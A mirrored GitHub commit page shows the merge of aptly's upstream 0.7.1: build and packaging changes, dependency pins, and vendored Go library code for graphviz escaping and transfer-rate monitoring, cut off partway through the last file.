mirror of
https://github.com/aptly-dev/aptly.git
synced 2026-10-19 10:47:13 +00:00
Merge tag 'upstream/0.7.1'
Upstream version 0.7.1 Conflicts: src/github.com/smira/aptly/_vendor/src/code.google.com/p/mxk/LICENSE
This commit is contained in:
commit
32417bbb7e
492 files changed
+179447
-82970
No files matched your search
File renamed without changes.
@@ -1,8 +1,8 @@
|
||||
language: go
|
||||
|
||||
go:
|
||||
- 1.1
|
||||
- 1.2.1
|
||||
- 1.3
|
||||
- tip
|
||||
|
||||
env:
|
||||
@@ -0,0 +1,6 @@
|
||||
List of contributors, in chronological order:
|
||||
|
||||
* Andrey Smirnov (https://github.com/smira)
|
||||
* Sebastien Binet (https://github.com/sbinet)
|
||||
* Ryan Uber (https://github.com/ryanuber)
|
||||
* Simon Aquino (https://github.com/simonaquino)
|
||||
@@ -1,12 +1,14 @@
|
||||
gom 'code.google.com/p/go-uuid/uuid', :commit => '5fac954758f5'
|
||||
gom 'code.google.com/p/go.crypto/ssh/terminal', :commit => '7aa593ce8cea'
|
||||
gom 'code.google.com/p/gographviz', :commit => '212766062629'
|
||||
gom 'code.google.com/p/gographviz', :commit => '454bc64fdfa2'
|
||||
gom 'code.google.com/p/mxk/go1/flowcontrol', :commit => '5ff2502e2556'
|
||||
gom 'code.google.com/p/snappy-go/snappy', :commit => '12e4b4183793'
|
||||
gom 'github.com/cheggaaa/pb', :commit => '74be7a1388046f374ac36e93d46f5d56e856f827'
|
||||
gom 'github.com/smira/commander'
|
||||
gom 'github.com/smira/flag'
|
||||
gom 'github.com/mitchellh/goamz/s3', :commit => '55f224c07975fddef9d2116600c664e30df3d594'
|
||||
gom 'github.com/mkrautz/goar', :commit => '36eb5f3452b1283a211fa35bc00c646fd0db5c4b'
|
||||
gom 'github.com/syndtr/goleveldb/leveldb', :commit => 'ff3719c6816e2cd194f05058452d660608e178ac'
|
||||
gom 'github.com/smira/commander', :commit => 'f408b00e68d5d6e21b9f18bd310978dafc604e47'
|
||||
gom 'github.com/smira/flag', :commit => '0d0aac2addb39050f45e92c5a6252926096dc841'
|
||||
gom 'github.com/syndtr/goleveldb/leveldb', :commit => '9888007'
|
||||
gom 'github.com/ugorji/go/codec', :commit => '71c2886f5a673a35f909803f38ece5810165097b'
|
||||
gom 'github.com/wsxiaoys/terminal/color', :commit => '5668e431776a7957528361f90ce828266c69ed08'
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
GOVERSION=$(shell go version | awk '{print $$3;}')
|
||||
PACKAGES=database deb files http utils
|
||||
ALL_PACKAGES=aptly cmd console database deb files http utils
|
||||
PACKAGES=database deb files http query s3 utils
|
||||
ALL_PACKAGES=aptly cmd console database deb files http query s3 utils
|
||||
BINPATH=$(abspath ./_vendor/bin)
|
||||
GOM_ENVIRONMENT=-test
|
||||
PYTHON?=python
|
||||
@@ -43,9 +43,7 @@ install:
|
||||
$(GOM) build -o $(BINPATH)/aptly
|
||||
|
||||
system-test: install
|
||||
ifeq ($(GOVERSION),$(filter $(GOVERSION),go1.2 go1.2.1 devel))
|
||||
if [ ! -e ~/aptly-fixture-db ]; then git clone https://github.com/aptly-dev/aptly-fixture-db.git ~/aptly-fixture-db/; fi
|
||||
endif
|
||||
if [ ! -e ~/aptly-fixture-pool ]; then git clone https://github.com/aptly-dev/aptly-fixture-pool.git ~/aptly-fixture-pool/; fi
|
||||
PATH=$(BINPATH)/:$(PATH) $(PYTHON) system/run.py --long
|
||||
|
||||
@@ -69,7 +67,17 @@ package:
|
||||
(cd root/etc/bash_completion.d && wget https://raw.github.com/aptly-dev/aptly-bash-completion/master/aptly)
|
||||
gzip root/usr/share/man/man1/aptly.1
|
||||
fpm -s dir -t deb -n aptly -v $(VERSION) --url=http://www.aptly.info/ --license=MIT --vendor="Andrey Smirnov <me@smira.ru>" \
|
||||
-f -m "Andrey Smirnov <me@smira.ru>" --description="Debian repository management tool" -C root/ .
|
||||
-f -m "Andrey Smirnov <me@smira.ru>" --description="Debian repository management tool" --deb-recommends bzip2 -C root/ .
|
||||
mv aptly_$(VERSION)_*.deb ~
|
||||
|
||||
src-package:
|
||||
rm -rf aptly-$(VERSION)
|
||||
mkdir -p aptly-$(VERSION)/src/github.com/smira/aptly/
|
||||
cd aptly-$(VERSION)/src/github.com/smira/ && git clone https://github.com/smira/aptly && cd aptly && git checkout v$(VERSION)
|
||||
cd aptly-$(VERSION)/src/github.com/smira/aptly && gom -production install
|
||||
cd aptly-$(VERSION)/src/github.com/smira/aptly && find . \( -name .git -o -name .bzr -o -name .hg \) -print | xargs rm -rf
|
||||
rm -rf aptly-$(VERSION)/src/github.com/smira/aptly/_vendor/{pkg,bin}
|
||||
tar cyf aptly-$(VERSION)-src.tar.bz2 aptly-$(VERSION)
|
||||
rm -rf aptly-$(VERSION)
|
||||
|
||||
.PHONY: coverage.out
|
||||
@@ -8,6 +8,10 @@ aptly
|
||||
.. image:: https://coveralls.io/repos/smira/aptly/badge.png?branch=HEAD
|
||||
:target: https://coveralls.io/r/smira/aptly?branch=HEAD
|
||||
|
||||
.. image:: http://gobuild.io/badge/github.com/smira/aptly/download.png
|
||||
:target: http://gobuild.io/github.com/smira/aptly
|
||||
|
||||
|
||||
Aptly is a swiss army knife for Debian repository management.
|
||||
|
||||
Documentation is available at `http://www.aptly.info/ <http://www.aptly.info/>`_. For support use
|
||||
@@ -51,7 +55,7 @@ Ubuntu 10.0+. Package contains aptly binary, man page and bash completion.
|
||||
|
||||
Binary executables (depends almost only on libc) are available for download from `Bintray <http://dl.bintray.com/smira/aptly/>`_.
|
||||
|
||||
If you have Go environment set up, you can build aptly from source by running (go 1.1+ required)::
|
||||
If you have Go environment set up, you can build aptly from source by running (go 1.2+ required)::
|
||||
|
||||
go get -u github.com/mattn/gom
|
||||
mkdir -p $GOPATH/src/github.com/smira/aptly
|
||||
|
||||
@@ -19,7 +19,7 @@ import (
|
||||
)
|
||||
|
||||
//Creates a Graph structure by analysing an Abstract Syntax Tree representing a parsed graph.
|
||||
func NewAnalysedGraph(graph *ast.Graph) *Graph {
|
||||
func NewAnalysedGraph(graph *ast.Graph) Interface {
|
||||
g := NewGraph()
|
||||
Analyse(graph, g)
|
||||
return g
|
||||
@@ -129,7 +129,7 @@ func (this *stmtVisitor) edgeStmt(stmt ast.EdgeStmt) ast.Visitor {
|
||||
this.g.AddNode(this.graphName, dstName, this.currentNodeAttrs.Copy())
|
||||
}
|
||||
dstPort := stmt.EdgeRHS[i].Destination.GetPort()
|
||||
this.g.AddEdge(srcName, srcPort.String(), dstName, dstPort.String(), directed, attrs)
|
||||
this.g.AddPortEdge(srcName, srcPort.String(), dstName, dstPort.String(), directed, attrs)
|
||||
src = dst
|
||||
srcPort = dstPort
|
||||
srcName = dstName
|
||||
|
||||
+7
-5
@@ -50,19 +50,21 @@ func assert(t *testing.T, msg string, v1 interface{}, v2 interface{}) {
|
||||
}
|
||||
}
|
||||
|
||||
func anal(t *testing.T, input string) *Graph {
|
||||
func anal(t *testing.T, input string) Interface {
|
||||
fmt.Printf("Input: %v\n", input)
|
||||
g, err := parser.ParseString(input)
|
||||
check(t, err)
|
||||
fmt.Printf("Parsed: %v\n", g)
|
||||
ag := NewAnalysedGraph(g)
|
||||
ag := NewGraph()
|
||||
Analyse(g, ag)
|
||||
fmt.Printf("Analysed: %v\n", ag)
|
||||
agstr := ag.String()
|
||||
fmt.Printf("Written: %v\n", agstr)
|
||||
g2, err := parser.ParseString(agstr)
|
||||
check(t, err)
|
||||
fmt.Printf("Parsed %v\n", g2)
|
||||
ag2 := NewAnalysedGraph(g2)
|
||||
ag2 := NewEscape()
|
||||
Analyse(g2, ag2)
|
||||
fmt.Printf("Analysed %v\n", ag2)
|
||||
ag2str := ag2.String()
|
||||
fmt.Printf("Written: %v\n", ag2str)
|
||||
@@ -70,7 +72,7 @@ func anal(t *testing.T, input string) *Graph {
|
||||
return ag2
|
||||
}
|
||||
|
||||
func analfile(t *testing.T, filename string) *Graph {
|
||||
func analfile(t *testing.T, filename string) Interface {
|
||||
f, err := os.Open(filename)
|
||||
check(t, err)
|
||||
all, err := ioutil.ReadAll(f)
|
||||
@@ -78,7 +80,7 @@ func analfile(t *testing.T, filename string) *Graph {
|
||||
return anal(t, string(all))
|
||||
}
|
||||
|
||||
func analtest(t *testing.T, testname string) *Graph {
|
||||
func analtest(t *testing.T, testname string) Interface {
|
||||
return analfile(t, "./testdata/"+testname)
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,177 @@
|
||||
//Copyright 2013 Vastech SA (PTY) LTD
|
||||
//
|
||||
//Licensed under the Apache License, Version 2.0 (the "License");
|
||||
//you may not use this file except in compliance with the License.
|
||||
//You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
//Unless required by applicable law or agreed to in writing, software
|
||||
//distributed under the License is distributed on an "AS IS" BASIS,
|
||||
//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
//See the License for the specific language governing permissions and
|
||||
//limitations under the License.
|
||||
|
||||
package gographviz
|
||||
|
||||
import (
|
||||
"code.google.com/p/gographviz/scanner"
|
||||
"code.google.com/p/gographviz/token"
|
||||
"fmt"
|
||||
"strings"
|
||||
"text/template"
|
||||
"unicode"
|
||||
)
|
||||
|
||||
type Escape struct {
|
||||
Interface
|
||||
}
|
||||
|
||||
//Returns a graph which will try to escape some strings when required
|
||||
func NewEscape() Interface {
|
||||
return &Escape{NewGraph()}
|
||||
}
|
||||
|
||||
func isHtml(s string) bool {
|
||||
if len(s) == 0 {
|
||||
return false
|
||||
}
|
||||
ss := strings.TrimSpace(s)
|
||||
if ss[0] != '<' {
|
||||
return false
|
||||
}
|
||||
count := 0
|
||||
for _, c := range ss {
|
||||
if c == '<' {
|
||||
count += 1
|
||||
}
|
||||
if c == '>' {
|
||||
count -= 1
|
||||
}
|
||||
}
|
||||
if count == 0 {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func isLetter(ch rune) bool {
|
||||
return 'a' <= ch && ch <= 'z' || 'A' <= ch && ch <= 'Z' || ch == '_' ||
|
||||
ch >= 0x80 && unicode.IsLetter(ch) && ch != 'ε'
|
||||
}
|
||||
|
||||
func isId(s string) bool {
|
||||
i := 0
|
||||
pos := false
|
||||
for _, c := range s {
|
||||
if i == 0 {
|
||||
if !isLetter(c) {
|
||||
return false
|
||||
}
|
||||
pos = true
|
||||
}
|
||||
if unicode.IsSpace(c) {
|
||||
return false
|
||||
}
|
||||
if c == '-' {
|
||||
return false
|
||||
}
|
||||
i++
|
||||
}
|
||||
return pos
|
||||
}
|
||||
|
||||
func isDigit(ch rune) bool {
|
||||
return '0' <= ch && ch <= '9' || ch >= 0x80 && unicode.IsDigit(ch)
|
||||
}
|
||||
|
||||
func isNumber(s string) bool {
|
||||
state := 0
|
||||
for _, c := range s {
|
||||
if state == 0 {
|
||||
if isDigit(c) || c == '.' {
|
||||
state = 2
|
||||
} else if c == '-' {
|
||||
state = 1
|
||||
} else {
|
||||
return false
|
||||
}
|
||||
} else if state == 1 {
|
||||
if isDigit(c) || c == '.' {
|
||||
state = 2
|
||||
}
|
||||
} else if c != '.' && !isDigit(c) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return (state == 2)
|
||||
}
|
||||
|
||||
func isStringLit(s string) bool {
|
||||
lex := &scanner.Scanner{}
|
||||
lex.Init([]byte(s), token.DOTTokens)
|
||||
tok, _ := lex.Scan()
|
||||
if tok.Type != token.DOTTokens.Type("string_lit") {
|
||||
return false
|
||||
}
|
||||
tok, _ = lex.Scan()
|
||||
if tok.Type != token.EOF {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func esc(s string) string {
|
||||
if len(s) == 0 {
|
||||
return s
|
||||
}
|
||||
if isHtml(s) {
|
||||
return s
|
||||
}
|
||||
ss := strings.TrimSpace(s)
|
||||
if ss[0] == '<' {
|
||||
return fmt.Sprintf("\"%s\"", strings.Replace(s, "\"", "\\\"", -1))
|
||||
}
|
||||
if isId(s) {
|
||||
return s
|
||||
}
|
||||
if isNumber(s) {
|
||||
return s
|
||||
}
|
||||
if isStringLit(s) {
|
||||
return s
|
||||
}
|
||||
return fmt.Sprintf("\"%s\"", template.HTMLEscapeString(s))
|
||||
}
|
||||
|
||||
func escAttrs(attrs map[string]string) map[string]string {
|
||||
newAttrs := make(map[string]string)
|
||||
for k, v := range attrs {
|
||||
newAttrs[esc(k)] = esc(v)
|
||||
}
|
||||
return newAttrs
|
||||
}
|
||||
|
||||
func (this *Escape) SetName(name string) {
|
||||
this.Interface.SetName(esc(name))
|
||||
}
|
||||
|
||||
func (this *Escape) AddPortEdge(src, srcPort, dst, dstPort string, directed bool, attrs map[string]string) {
|
||||
this.Interface.AddPortEdge(esc(src), srcPort, esc(dst), dstPort, directed, escAttrs(attrs))
|
||||
}
|
||||
|
||||
func (this *Escape) AddEdge(src, dst string, directed bool, attrs map[string]string) {
|
||||
this.AddPortEdge(src, "", dst, "", directed, attrs)
|
||||
}
|
||||
|
||||
func (this *Escape) AddNode(parentGraph string, name string, attrs map[string]string) {
|
||||
this.Interface.AddNode(esc(parentGraph), esc(name), escAttrs(attrs))
|
||||
}
|
||||
|
||||
func (this *Escape) AddAttr(parentGraph string, field, value string) {
|
||||
this.Interface.AddAttr(esc(parentGraph), esc(field), esc(value))
|
||||
}
|
||||
|
||||
func (this *Escape) AddSubGraph(parentGraph string, name string, attrs map[string]string) {
|
||||
this.Interface.AddSubGraph(esc(parentGraph), esc(name), escAttrs(attrs))
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
//Copyright 2013 Vastech SA (PTY) LTD
|
||||
//
|
||||
//Licensed under the Apache License, Version 2.0 (the "License");
|
||||
//you may not use this file except in compliance with the License.
|
||||
//You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
//Unless required by applicable law or agreed to in writing, software
|
||||
//distributed under the License is distributed on an "AS IS" BASIS,
|
||||
//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
//See the License for the specific language governing permissions and
|
||||
//limitations under the License.
|
||||
|
||||
package gographviz
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestEscape(t *testing.T) {
|
||||
g := NewEscape()
|
||||
g.SetName("asdf adsf")
|
||||
g.SetDir(true)
|
||||
g.AddNode("asdf asdf", "kasdf99 99", map[string]string{
|
||||
"<asfd": "1",
|
||||
})
|
||||
g.AddNode("asdf asdf", "7", map[string]string{
|
||||
"<asfd": "1",
|
||||
})
|
||||
g.AddNode("asdf asdf", "a << b", nil)
|
||||
g.AddEdge("kasdf99 99", "7", true, nil)
|
||||
s := g.String()
|
||||
if !strings.HasPrefix(s, `digraph "asdf adsf" {
|
||||
"kasdf99 99"->7;
|
||||
"a << b";
|
||||
"kasdf99 99" [ "<asfd"=1 ];
|
||||
7 [ "<asfd"=1 ];
|
||||
|
||||
}`) {
|
||||
t.Fatalf("%s", s)
|
||||
}
|
||||
}
|
||||
@@ -40,7 +40,7 @@ func ExampleNewGraph() {
|
||||
g.SetDir(true)
|
||||
g.AddNode("G", "Hello", nil)
|
||||
g.AddNode("G", "World", nil)
|
||||
g.AddEdge("Hello", "", "World", "", true, nil)
|
||||
g.AddEdge("Hello", "World", true, nil)
|
||||
s := g.String()
|
||||
fmt.Println(s)
|
||||
// Output: digraph G {
|
||||
@@ -66,7 +66,7 @@ func NewMyOwnGraphStructure() *MyOwnGraphStructure {
|
||||
func (this *MyOwnGraphStructure) SetStrict(strict bool) {}
|
||||
func (this *MyOwnGraphStructure) SetDir(directed bool) {}
|
||||
func (this *MyOwnGraphStructure) SetName(name string) {}
|
||||
func (this *MyOwnGraphStructure) AddEdge(src, srcPort, dst, dstPort string, directed bool, attrs map[string]string) {
|
||||
func (this *MyOwnGraphStructure) AddPortEdge(src, srcPort, dst, dstPort string, directed bool, attrs map[string]string) {
|
||||
srci, err := strconv.Atoi(src)
|
||||
if err != nil {
|
||||
return
|
||||
@@ -91,10 +91,14 @@ func (this *MyOwnGraphStructure) AddEdge(src, srcPort, dst, dstPort string, dire
|
||||
}
|
||||
|
||||
}
|
||||
func (this *MyOwnGraphStructure) AddEdge(src, dst string, directed bool, attrs map[string]string) {
|
||||
this.AddPortEdge(src, "", dst, "", directed, attrs)
|
||||
}
|
||||
func (this *MyOwnGraphStructure) AddNode(parentGraph string, name string, attrs map[string]string) {}
|
||||
func (this *MyOwnGraphStructure) AddAttr(parentGraph string, field, value string) {}
|
||||
func (this *MyOwnGraphStructure) AddSubGraph(parentGraph string, name string, attrs map[string]string) {
|
||||
}
|
||||
func (this *MyOwnGraphStructure) String() string { return "" }
|
||||
|
||||
//An Example of how to parse into your own simpler graph structure and output it back to graphviz.
|
||||
//This example reads in only numbers and outputs a matrix graph.
|
||||
@@ -125,7 +129,7 @@ func ExampleMyOwnGraphStructure() {
|
||||
}
|
||||
for i := 1; i <= mine.max; i++ {
|
||||
for j := 1; j <= mine.max; j++ {
|
||||
output.AddEdge(fmt.Sprintf("%v", i), "", fmt.Sprintf("%v", j), "", true, map[string]string{"label": fmt.Sprintf("%v", mine.weights[i][j])})
|
||||
output.AddEdge(fmt.Sprintf("%v", i), fmt.Sprintf("%v", j), true, map[string]string{"label": fmt.Sprintf("%v", mine.weights[i][j])})
|
||||
}
|
||||
}
|
||||
s := output.String()
|
||||
|
||||
@@ -30,10 +30,12 @@ type Interface interface {
|
||||
SetStrict(strict bool)
|
||||
SetDir(directed bool)
|
||||
SetName(name string)
|
||||
AddEdge(src, srcPort, dst, dstPort string, directed bool, attrs map[string]string)
|
||||
AddPortEdge(src, srcPort, dst, dstPort string, directed bool, attrs map[string]string)
|
||||
AddEdge(src, dst string, directed bool, attrs map[string]string)
|
||||
AddNode(parentGraph string, name string, attrs map[string]string)
|
||||
AddAttr(parentGraph string, field, value string)
|
||||
AddSubGraph(parentGraph string, name string, attrs map[string]string)
|
||||
String() string
|
||||
}
|
||||
|
||||
//Parses the buffer into a abstract syntax tree representing the graph.
|
||||
@@ -42,7 +44,7 @@ func Parse(buf []byte) (*ast.Graph, error) {
|
||||
}
|
||||
|
||||
//Parses and creates a new Graph from the data.
|
||||
func Read(buf []byte) (*Graph, error) {
|
||||
func Read(buf []byte) (Interface, error) {
|
||||
st, err := Parse(buf)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
|
||||
@@ -59,10 +59,16 @@ func (this *Graph) SetName(name string) {
|
||||
//Adds an edge to the graph from node src to node dst.
|
||||
//srcPort and dstPort are the port the node ports, leave as empty strings if it is not required.
|
||||
//This does not imply the adding of missing nodes.
|
||||
func (this *Graph) AddEdge(src, srcPort, dst, dstPort string, directed bool, attrs map[string]string) {
|
||||
func (this *Graph) AddPortEdge(src, srcPort, dst, dstPort string, directed bool, attrs map[string]string) {
|
||||
this.Edges.Add(&Edge{src, srcPort, dst, dstPort, directed, attrs})
|
||||
}
|
||||
|
||||
//Adds an edge to the graph from node src to node dst.
|
||||
//This does not imply the adding of missing nodes.
|
||||
func (this *Graph) AddEdge(src, dst string, directed bool, attrs map[string]string) {
|
||||
this.AddPortEdge(src, "", dst, "", directed, attrs)
|
||||
}
|
||||
|
||||
//Adds a node to a graph/subgraph.
|
||||
//If not subgraph exists use the name of the main graph.
|
||||
//This does not imply the adding of a missing subgraph.
|
||||
|
||||
+12
-10
@@ -1,18 +1,20 @@
|
||||
Copyright (c) 2013 The Go Authors. All rights reserved.
|
||||
Copyright (c) 2013 Maxim Khitrov. All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are
|
||||
met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above
|
||||
copyright notice, this list of conditions and the following disclaimer
|
||||
in the documentation and/or other materials provided with the
|
||||
distribution.
|
||||
* Neither the name of Google Inc. nor the names of its
|
||||
contributors may be used to endorse or promote products derived from
|
||||
this software without specific prior written permission.
|
||||
* Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
|
||||
* Redistributions in binary form must reproduce the above copyright
|
||||
notice, this list of conditions and the following disclaimer in the
|
||||
documentation and/or other materials provided with the
|
||||
distribution.
|
||||
|
||||
* Neither the name of the mxk project nor the names of its
|
||||
contributors may be used to endorse or promote products derived
|
||||
from this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
+267
@@ -0,0 +1,267 @@
|
||||
//
|
||||
// Written by Maxim Khitrov (November 2012)
|
||||
//
|
||||
|
||||
// Package flowcontrol provides the tools for monitoring and limiting the
|
||||
// transfer rate of an arbitrary data stream.
|
||||
package flowcontrol
|
||||
|
||||
import (
|
||||
"math"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Monitor monitors and limits the transfer rate of a data stream.
|
||||
type Monitor struct {
|
||||
mu sync.Mutex // Mutex guarding access to all internal fields
|
||||
active bool // Flag indicating an active transfer
|
||||
start time.Duration // Transfer start time (clock() value)
|
||||
bytes int64 // Total number of bytes transferred
|
||||
samples int64 // Total number of samples taken
|
||||
|
||||
rSample float64 // Most recent transfer rate sample (bytes per second)
|
||||
rEMA float64 // Exponential moving average of rSample
|
||||
rPeak float64 // Peak transfer rate (max of all rSamples)
|
||||
rWindow float64 // rEMA window (seconds)
|
||||
|
||||
sBytes int64 // Number of bytes transferred since sLast
|
||||
sLast time.Duration // Most recent sample time (stop time when inactive)
|
||||
sRate time.Duration // Sampling rate
|
||||
|
||||
tBytes int64 // Number of bytes expected in the current transfer
|
||||
tLast time.Duration // Time of the most recent transfer of at least 1 byte
|
||||
}
|
||||
|
||||
// New creates a new flow control monitor. Instantaneous transfer rate is
|
||||
// measured and updated for each sampleRate interval. windowSize determines the
|
||||
// weight of each sample in the exponential moving average (EMA) calculation.
|
||||
// The exact formulas are:
|
||||
//
|
||||
// sampleTime = currentTime - prevSampleTime
|
||||
// sampleRate = byteCount / sampleTime
|
||||
// weight = 1 - exp(-sampleTime/windowSize)
|
||||
// newRate = weight*sampleRate + (1-weight)*oldRate
|
||||
//
|
||||
// The default values for sampleRate and windowSize (if <= 0) are 100ms and 1s,
|
||||
// respectively.
|
||||
func New(sampleRate, windowSize time.Duration) *Monitor {
|
||||
if sampleRate = clockRound(sampleRate); sampleRate <= 0 {
|
||||
sampleRate = 5 * clockRate
|
||||
}
|
||||
if windowSize <= 0 {
|
||||
windowSize = 1 * time.Second
|
||||
}
|
||||
now := clock()
|
||||
return &Monitor{
|
||||
active: true,
|
||||
start: now,
|
||||
rWindow: windowSize.Seconds(),
|
||||
sLast: now,
|
||||
sRate: sampleRate,
|
||||
tLast: now,
|
||||
}
|
||||
}
|
||||
|
||||
// Update records the transfer of n bytes and returns n. It should be called
|
||||
// after each Read/Write operation, even if n is 0.
|
||||
func (m *Monitor) Update(n int) int {
|
||||
m.mu.Lock()
|
||||
m.update(n)
|
||||
m.mu.Unlock()
|
||||
return n
|
||||
}
|
||||
|
||||
// IO is a convenience method intended to wrap io.Reader and io.Writer method
|
||||
// execution. It calls m.Update(n) and then returns (n, err) unmodified.
|
||||
func (m *Monitor) IO(n int, err error) (int, error) {
|
||||
return m.Update(n), err
|
||||
}
|
||||
|
||||
// Done marks the transfer as finished and prevents any further updates or
|
||||
// limiting. Instantaneous and current transfer rates drop to 0. Update, IO, and
|
||||
// Limit methods become NOOPs. It returns the total number of bytes transferred.
|
||||
func (m *Monitor) Done() int64 {
|
||||
m.mu.Lock()
|
||||
if now := m.update(0); m.sBytes > 0 {
|
||||
m.reset(now)
|
||||
}
|
||||
m.active = false
|
||||
m.tLast = 0
|
||||
n := m.bytes
|
||||
m.mu.Unlock()
|
||||
return n
|
||||
}
|
||||
|
||||
// timeRemLimit is the maximum Status.TimeRem value.
|
||||
const timeRemLimit = 999*time.Hour + 59*time.Minute + 59*time.Second
|
||||
|
||||
// Status represents the current Monitor status. All transfer rates are in bytes
|
||||
// per second rounded to the nearest byte.
|
||||
type Status struct {
|
||||
Active bool // Flag indicating an active transfer
|
||||
Start time.Time // Transfer start time
|
||||
Duration time.Duration // Time period covered by the statistics
|
||||
Idle time.Duration // Time since the last transfer of at least 1 byte
|
||||
Bytes int64 // Total number of bytes transferred
|
||||
Samples int64 // Total number of samples taken
|
||||
InstRate int64 // Instantaneous transfer rate
|
||||
CurRate int64 // Current transfer rate (EMA of InstRate)
|
||||
AvgRate int64 // Average transfer rate (Bytes / Duration)
|
||||
PeakRate int64 // Maximum instantaneous transfer rate
|
||||
BytesRem int64 // Number of bytes remaining in the transfer
|
||||
TimeRem time.Duration // Estimated time to completion
|
||||
Progress Percent // Overall transfer progress
|
||||
}
|
||||
|
||||
// Status returns current transfer status information. The returned value
|
||||
// becomes static after a call to Done.
|
||||
func (m *Monitor) Status() Status {
|
||||
m.mu.Lock()
|
||||
now := m.update(0)
|
||||
s := Status{
|
||||
Active: m.active,
|
||||
Start: clockToTime(m.start),
|
||||
Duration: m.sLast - m.start,
|
||||
Idle: now - m.tLast,
|
||||
Bytes: m.bytes,
|
||||
Samples: m.samples,
|
||||
PeakRate: round(m.rPeak),
|
||||
BytesRem: m.tBytes - m.bytes,
|
||||
Progress: percentOf(float64(m.bytes), float64(m.tBytes)),
|
||||
}
|
||||
if s.BytesRem < 0 {
|
||||
s.BytesRem = 0
|
||||
}
|
||||
if s.Duration > 0 {
|
||||
rAvg := float64(s.Bytes) / s.Duration.Seconds()
|
||||
s.AvgRate = round(rAvg)
|
||||
if s.Active {
|
||||
s.InstRate = round(m.rSample)
|
||||
s.CurRate = round(m.rEMA)
|
||||
if s.BytesRem > 0 {
|
||||
if tRate := 0.8*m.rEMA + 0.2*rAvg; tRate > 0 {
|
||||
ns := float64(s.BytesRem) / tRate * 1e9
|
||||
if ns > float64(timeRemLimit) {
|
||||
ns = float64(timeRemLimit)
|
||||
}
|
||||
s.TimeRem = clockRound(time.Duration(ns))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
m.mu.Unlock()
|
||||
return s
|
||||
}
|
||||
|
||||
// Limit restricts the instantaneous (per-sample) data flow to rate bytes per
|
||||
// second. It returns the maximum number of bytes (0 <= n <= want) that may be
|
||||
// transferred immediately without exceeding the limit. If block == true, the
|
||||
// call blocks until n > 0. want is returned unmodified if want < 1, rate < 1,
|
||||
// or the transfer is inactive (after a call to Done).
|
||||
//
|
||||
// At least one byte is always allowed to be transferred in any given sampling
|
||||
// period. Thus, if the sampling rate is 100ms, the lowest achievable flow rate
|
||||
// is 10 bytes per second.
|
||||
//
|
||||
// For usage examples, see the implementation of Reader and Writer in io.go.
|
||||
func (m *Monitor) Limit(want int, rate int64, block bool) (n int) {
|
||||
if want < 1 || rate < 1 {
|
||||
return want
|
||||
}
|
||||
m.mu.Lock()
|
||||
|
||||
// Determine the maximum number of bytes that can be sent in one sample
|
||||
limit := round(float64(rate) * m.sRate.Seconds())
|
||||
if limit <= 0 {
|
||||
limit = 1
|
||||
}
|
||||
|
||||
// If block == true, wait until m.sBytes < limit
|
||||
if now := m.update(0); block {
|
||||
for m.sBytes >= limit && m.active {
|
||||
now = m.waitNextSample(now)
|
||||
}
|
||||
}
|
||||
|
||||
// Make limit <= want (unlimited if the transfer is no longer active)
|
||||
if limit -= m.sBytes; limit > int64(want) || !m.active {
|
||||
limit = int64(want)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
if limit < 0 {
|
||||
limit = 0
|
||||
}
|
||||
return int(limit)
|
||||
}
|
||||
|
||||
// SetTransferSize specifies the total size of the data transfer, which allows
|
||||
// the Monitor to calculate the overall progress and time to completion.
|
||||
func (m *Monitor) SetTransferSize(bytes int64) {
|
||||
if bytes < 0 {
|
||||
bytes = 0
|
||||
}
|
||||
m.mu.Lock()
|
||||
m.tBytes = bytes
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
// update accumulates the transferred byte count for the current sample until
|
||||
// clock() - m.sLast >= m.sRate. The monitor status is updated once the current
|
||||
// sample is done.
|
||||
func (m *Monitor) update(n int) (now time.Duration) {
|
||||
if !m.active {
|
||||
return
|
||||
}
|
||||
if now = clock(); n > 0 {
|
||||
m.tLast = now
|
||||
}
|
||||
m.sBytes += int64(n)
|
||||
if sTime := now - m.sLast; sTime >= m.sRate {
|
||||
t := sTime.Seconds()
|
||||
if m.rSample = float64(m.sBytes) / t; m.rSample > m.rPeak {
|
||||
m.rPeak = m.rSample
|
||||
}
|
||||
|
||||
// Exponential moving average using a method similar to *nix load
|
||||
// average calculation. Longer sampling periods carry greater weight.
|
||||
if m.samples > 0 {
|
||||
w := math.Exp(-t / m.rWindow)
|
||||
m.rEMA = m.rSample + w*(m.rEMA-m.rSample)
|
||||
} else {
|
||||
m.rEMA = m.rSample
|
||||
}
|
||||
m.reset(now)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// reset clears the current sample state in preparation for the next sample.
|
||||
func (m *Monitor) reset(sampleTime time.Duration) {
|
||||
m.bytes += m.sBytes
|
||||
m.samples++
|
||||
m.sBytes = 0
|
||||
m.sLast = sampleTime
|
||||
}
|
||||
|
||||
// waitNextSample sleeps for the remainder of the current sample. The lock is
|
||||
// released and reacquired during the actual sleep period, so it's possible for
|
||||
// the transfer to be inactive when this method returns.
|
||||
